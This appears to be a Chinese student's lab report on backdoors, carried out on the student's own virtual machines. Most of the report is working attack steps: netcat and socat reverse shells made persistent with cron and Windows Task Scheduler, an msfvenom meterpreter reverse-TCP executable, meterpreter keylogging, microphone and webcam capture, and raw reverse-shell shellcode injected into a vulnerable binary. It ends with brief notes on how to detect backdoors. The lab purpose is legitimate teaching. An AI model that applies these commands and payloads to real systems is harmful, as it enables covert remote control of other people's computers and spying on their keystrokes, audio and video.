175210 Exp2 后门原理与实践
预备工作
- 很多博客都说要配置桥接以达到主机和虚拟机通信的效果,但其实 Nat 模式就可以达到这个效果,我用的是 Nat 模式。
- 虚拟机安装 metasploit,这个框架默认的数据库是 postgresql,终端报创建数据库相关错误的,和我一样重装 postgresql 吧……
- 打开 windows10 麦克风和摄像头使用权限(在设置中),关闭所有杀毒软件。
实验
一、使用netcat获取主机操作Shell,cron启动
nc命令
-l (listen) 表示监听
-p (port) 指定端口
-e (execute) 指定可执行数据流
cron定时任务
按此格式设置
m分钟 h小时 dom日期 mon月 dow周几 command执行的命令
- 步骤
-
设置 cron,输入 crontab -e,选择
nvim编辑配置文件
![]()
-
设置在每个小时的第32分钟执行后面的那条指令。(据我观察第32分钟后这个进程就会一直跑下去,和我想象的不一样)
![]()
-
到了32分,上面的那条指令就会执行,此时 windows10 获得 shell
![]()
-
二、使用socat获取主机操作Shell, 任务计划启动
-
socat命令socat <addr> <addr>在两个地址间形成的是一个 双向通道 ,类似于nodejs中的pipe,可以边读边写socat -u命令可以指定数据流的方向,即一个单项通道-
以下是部分标识 - STDIN,STDOUT 表示标准输入输出 TCP:: 建立一个 TCP 连接作为数据流,TCP 也可以替换为 UDP TCP-LISTEN: 建立一个 TCP 监听端口,TCP 也可以替换为 UDP EXEC: 执行一个程序作为数据流 - 具体例子可以看这篇博客
https://www.hi-linux.com/posts/61543.html
-
步骤
-
设置windows10任务计划程序。搜索管理工具,点击任务计划程序
![]()
-
设置触发器(触发的时间与频率)
![]()
-
设置操作,添加可执行文件(socat.exe)的文件路径及参数。相当于 执行
socat exec:cmd.exe,pty tcp:192.168.80.139:8888。注意,exec:后面必须要加上pty,否则会报找不到管道的错误。具体解释:Generates a pseudo terminal (pty) and uses its master side. Another process may open the pty's slave side using it like a serial line or terminal. (example). If both the ptmx and the openpty mechanisms are available, ptmx is used (POSIX)。翻译成中文仍不明白它在说什么,尴尬。
![]()
-
在 14:49 时,此任务触发。我们可以在任务列表中找到这个进程
![]()
-
linux 上启动监听
socat - tcp-listen:8888,获得windows shell
![]()
-
删除此任务
-
三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
生成后门文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.139 LPORT=8888 -f exe > mt_backdoor.exe参数说明详见实验指导
-
使用
socat将可执行文件发送至 windows虚拟机开启监听
![]()
windows 使用
.\socat.exe -u tcp:192.168.80.139:2000 open:mt_backdoor.exe,create接收可执行文件
![]()
-
虚拟机开启监听
![]()
![]()
-
windows terminal 上运行
.\mt_backdoor.exe,linux 平台获得远程监听 shell
![]()
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
查看
arp 缓存
![]()
-
sysinfo查看系统信息
![]()
-
keyscan_start开始抓取击键记录,keyscan_dump输出击键记录,keyscan_stop停止
![]()
-
record_mic获取主机麦克风内容,-d指定录制时长
![]()
-
webcam_snap获取使用摄像头拍摄
![]()
-
shell可以获取交互式shell
![]()
-
使用
getsystem提权windows10失败。别人的博客说要利用其他的漏洞(windows/local/bypassuac),菜鸟表示目前没看懂。
五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
-
使用如下shellcode
\xc0\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80 -
前四个字节( retaddr )应覆盖为
shellcode在内存中的地址,方法同实验一,这里就不截图了。 -
开启服务端监听
![]()
-
注入shellcode
![]()
-
设置
msf并获得结果- use exploit/multi/handler
- set payload linux/x86/shell_reverse_tcp
- set LHOST 127.0.0.1
- set LPORT 4444
- exploit
![]()
六、思考与总结
1、基础问题回答
-
例举你能想到的一个后门进入到你系统中的可能方式?
安装的第三方软件可能包含后门。下载的图片也可能包含后门
-
例举你知道的后门如何启动起来(win及linux)的方式
- linux: cron定时任务
- windows: 任务计划程序,自启动项
-
Meterpreter有哪些给你映像深刻的功能
screenshare可以实时分享屏幕,虽然效果很糟糕- 可以调用
ruby shell,这么复杂的工具竟然是用ruby写的
-
如何发现自己有系统有没有被安装后门
- 查看端口占用情况,注意被占用的过大的端口
- 查看自启动项
- 杀毒软件检测
2、实验总结体会
除了提权(未解决)之外没有遇到什么阻碍。做实验时觉得新奇好玩,现在想想还是挺复杂的,meterpreter 真的是对着指导书输指令,输完了就忘了好多。























浙公网安备 33010602011771号